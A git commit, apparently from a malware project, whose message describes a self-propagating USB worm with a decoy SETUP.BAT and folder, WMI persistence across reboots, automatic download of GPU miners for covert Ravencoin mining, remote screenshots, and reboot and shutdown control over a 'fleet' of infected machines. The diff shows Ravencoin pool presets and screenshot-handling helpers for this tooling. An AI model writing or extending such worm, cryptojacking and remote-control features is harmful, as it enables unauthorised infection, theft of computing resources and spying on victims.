Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked
This commit is contained in:
AetherForge
2026-06-02 21:50:34 -07:00
parent 41b5ec7a88
commit ca66f5d048
34 changed files with 2369 additions and 277 deletions

View File

@@ -80,6 +80,114 @@ export const XMR_POOL_PRESETS: PoolPreset[] = [
export const DEFAULT_PRESET_IDS = ['supportxmr-tls', 'moneroocean-tls', 'herominers-tls'] as const;
// ─── Ravencoin (RVN / KawPoW) pool presets ───────────────────────────────────
export interface RVNPoolPreset {
id: string;
provider: string;
host: string;
port: number;
tls: boolean;
hint: string;
}
export const RVN_POOL_PRESETS: RVNPoolPreset[] = [
{
id: '2miners-rvn',
provider: '2Miners',
host: 'rvn.2miners.com',
port: 6060,
tls: false,
hint: ':6060',
},
{
id: 'herominers-rvn',
provider: 'HeroMiners',
host: 'rvn.herominers.com',
port: 1140,
tls: false,
hint: ':1140',
},
{
id: 'minerpool-rvn',
provider: 'MinePool',
host: 'us.rvn.minepool.io',
port: 3333,
tls: false,
hint: ':3333',
},
{
id: 'woolypooly-rvn',
provider: 'WoolyPooly',
host: 'rvn.woolypooly.com',
port: 55555,
tls: false,
hint: ':55555',
},
{
id: 'ravenminer',
provider: 'RavenMiner',
host: 'us.ravenminer.com',
port: 3838,
tls: false,
hint: ':3838',
},
{
id: 'nanopool-rvn',
provider: 'Nanopool',
host: 'rvn-us-west1.nanopool.org',
port: 12222,
tls: false,
hint: ':12222',
},
];
export const DEFAULT_RVN_PRESET_IDS = ['2miners-rvn', 'herominers-rvn', 'ravenminer'] as const;
export interface RVNPoolForgeFields {
rvn_pool_host: string;
rvn_pool_port: number;
rvn_pool_tls: boolean;
rvn_backup_pools: BackupPool[];
}
export function orderedRVNPoolsFromSelection(
presetIds: string[],
pass: string,
custom?: BackupPool | null,
): BackupPool[] {
const out: BackupPool[] = [];
const seen = new Set<string>();
for (const id of presetIds) {
const preset = RVN_POOL_PRESETS.find((p) => p.id === id);
if (!preset) continue;
const key = endpointKey(preset.host, preset.port, preset.tls);
if (seen.has(key)) continue;
seen.add(key);
out.push({ host: preset.host, port: preset.port, tls: preset.tls, pass });
}
if (custom?.host?.trim() && custom.port > 0) {
const key = endpointKey(custom.host, custom.port, !!custom.tls);
if (!seen.has(key)) out.push({ ...custom, pass: custom.pass || pass || 'x' });
}
return out;
}
export function applyRVNPoolsToForgeFields(pools: BackupPool[]): RVNPoolForgeFields {
const { primary, backups } = splitPrimaryAndBackups(pools);
if (!primary) return { rvn_pool_host: '', rvn_pool_port: 6060, rvn_pool_tls: false, rvn_backup_pools: [] };
return { rvn_pool_host: primary.host, rvn_pool_port: primary.port, rvn_pool_tls: primary.tls, rvn_backup_pools: backups };
}
export function detectRVNPresetIds(host: string, port: number, tls: boolean, backups: BackupPool[] = []): string[] {
const keys = new Set<string>();
keys.add(endpointKey(host, port, tls));
for (const b of backups) {
if (b.host && b.port > 0) keys.add(endpointKey(b.host, b.port, !!b.tls));
}
return RVN_POOL_PRESETS.filter((p) => keys.has(endpointKey(p.host, p.port, p.tls))).map((p) => p.id);
}
function endpointKey(host: string, port: number, tls: boolean): string {
return `${host.trim().toLowerCase()}:${port}:${tls ? '1' : '0'}`;
}

View File

@@ -9,7 +9,8 @@ export function sanitizeScreenshotBase64(raw: string): string {
}
}
if (best.length >= 100) return best;
return trimmed.replace(/[^A-Za-z0-9+/=]/g, '');
const fallback = trimmed.replace(/[^A-Za-z0-9+/=]/g, '');
return fallback.length >= 100 ? fallback : '';
}
export function downloadScreenshotFromBase64(